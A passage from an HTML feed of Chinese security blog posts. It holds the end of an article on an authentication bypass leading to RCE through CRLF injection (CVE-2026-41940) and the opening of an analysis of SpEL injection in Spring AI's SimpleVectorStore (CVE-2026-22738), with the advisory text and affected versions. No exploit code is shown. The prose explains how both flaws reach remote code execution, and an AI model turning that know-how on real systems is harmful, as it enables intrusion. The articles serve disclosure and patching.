ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2026-41940</span></code><span leaf=""> 是一个多步骤的认证绕过漏洞，最终可导致匿名 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RCE</span></code><span leaf="">。漏洞触发的关键是</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">set_pass</span></code><span leaf="">没有进行</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CRLF</span></code><span leaf="">过滤，同时</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">saveSession</span></code><span leaf="">也没有像</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">create</span></code><span leaf="">函数那样调用</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">filter_sessiondata</span></code><span leaf="">进行过滤，导致产生了</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CRLF</span></code><span leaf="">注入。此外，关键的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">perl</span></code><span leaf="">代码其实被编译进了</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cpsrvd</span></code><span leaf="">，审计前需要进行动态提取，这种有难度的操作现在用</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 来辅助很容易实现。</span></p></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 1.5em 8px;padding: 0px;outline: oklab(0.144521 0.00000657141 0.00000288337 / 0.5) 0px;max-width: 96rem;box-sizing: border-box;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);width: 1536px;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;border: 0px solid rgb(229, 229, 229);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: oklab(0.144521 0.00000657141 0.00000288337 / 0.5) 0px;max-width: 96rem;box-sizing: border-box;overflow-wrap: break-word !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span textstyle="" style="font-size: 14px;">欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</span></span></p><p style="text-align: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/5micBBibMraLkFnAFqTnwp99Ik1VKjvpE72cMIAvmib5fkKxroLSYKPZzjZ8UPxXZicokyJ9oh4R3zLSjtT6eUSvxIXmgEZtoq8CJibnMcVj1lx8/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="492" data-cropsely2="635" data-imgfileid="100009233" data-ratio="1.1747815230961298" data-s="300,640" data-w="801" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0177fcd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkFnAFqTnwp99Ik1VKjvpE72cMIAvmib5fkKxroLSYKPZzjZ8UPxXZicokyJ9oh4R3zLSjtT6eUSvxIXmgEZtoq8CJibnMcVj1lx8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=69b0dc83&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492882%26idx%3D1%26sn%3D5edac26f635a2e0eac4b2780e44f3a13">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 05 May 2026 07:01:00 +0800</pubDate>
    </item>
    <item>
      <title>RAG从元数据Key到RCE：CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492758&amp;idx=1&amp;sn=ed00cf04b239839ed1d0553fa0674579</link>
      <description>为更好学习交流，建了个技术交流群，大家可以扫描进群。</description>
      <content:encoded><![CDATA[<p>原创 <span>KCyber</span> <span>2026-04-07 07:02</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=70551936&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5micBBibMraLk0jBRAqaS7UFWU0pyh7CoTLT0mjloxVQk2EOEB7fTk3jiboice675cnZsKMpTIXTkDlKbZicLnAJDR5kib7ibbRPcSFWwicCESnSiaNE%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>为更好学习交流，建了个技术交流群，大家可以扫描进群。</p>
  <p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1.5px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;">欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</span></span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009109" data-ratio="1.1894353369763206" data-s="300,640" type="block" data-type="png" data-w="549" style="width:361px;height:429px;" src="https://wechat2rss.xlab.app/img-proxy/?k=835c2b86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLmDj6pYWrsyuYpJy3vicG72UDEt4oYmDk617uVicIOpaNF2jZrnhlvd6RW8eaUD4BFMFQgM0NBj5iajWUHU7EW8UpdHVz5icT4asCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);width: 1536px;max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin-top: 0px !important;margin-right: auto;margin-bottom: 2em;margin-left: auto;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">引言</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近日 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Spring</span></code><span leaf=""> 官方发布安全通告，披露了 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Spring AI</span></code><span leaf=""> 框架存在一处高危的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 表达式注入漏洞 (</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2026-22738</span></code><span leaf="">) 。漏洞源于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SimpleVectorStore</span></code><span leaf=""> 实现向量检索过滤的逻辑中，将用户提供的过滤器表达式拼接到了 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 模板中，并使用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">StandardEvaluationContext</span></code><span leaf=""> 进行解析，导致可构造恶意 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 实现 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 。</span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">官方通报中提到了漏洞利用的前提条件：</span></p><blockquote style="box-sizing: border-box;border-width: 0.2px 0.2px 0.2px 4px;border-style: solid;border-color: rgba(0, 0, 0, 0.04) rgba(0, 0, 0, 0.04) rgba(0, 0, 0, 0.04) rgb(15, 76, 129);border-image: initial;margin: 0px 0px 1em;padding: 1em 1em 1em 2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);border-radius: 6px;background: rgb(247, 247, 247);font-style: italic;color: rgba(0, 0, 0, 0.6);"><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;font-size: 1em;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">In Spring AI, a SpEL injection vulnerability exists in SimpleVectorStore when a user-supplied value is used as a filter expression key. A malicious actor could exploit this to execute arbitrary code.</span></p></blockquote><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">影响版本：</span></p><ul style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px 0px 0px 1.5em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);list-style: none;color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(10, 10, 10);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">1.0.x &lt; 1.0.5</span></code></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(10, 10, 10);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">1.1.x &lt; 1.1.4</span></code></p></li></ul><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞分析</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SimpleVectorStore</span></code><span leaf=""> 是 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Spring AI</span></code><span leaf=""> 提供的一个简单的内存向量数据库实现，它允许用户定义类似 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SQL</span></code><span leaf=""> 的过滤条件。具体使用案例可以参考：</span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf=""><a href="https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html" target="_blank">https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html</a></span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">SpEL表达式注入</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">漏洞触发点位于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SimpleVectorStore<a class="wx_topic_link" topic-id="mnljebae-t5irb5" style="color: #576B95 !important;" data-topic="1" data-recommend="">#doFilterPredicate</a></span></code><span 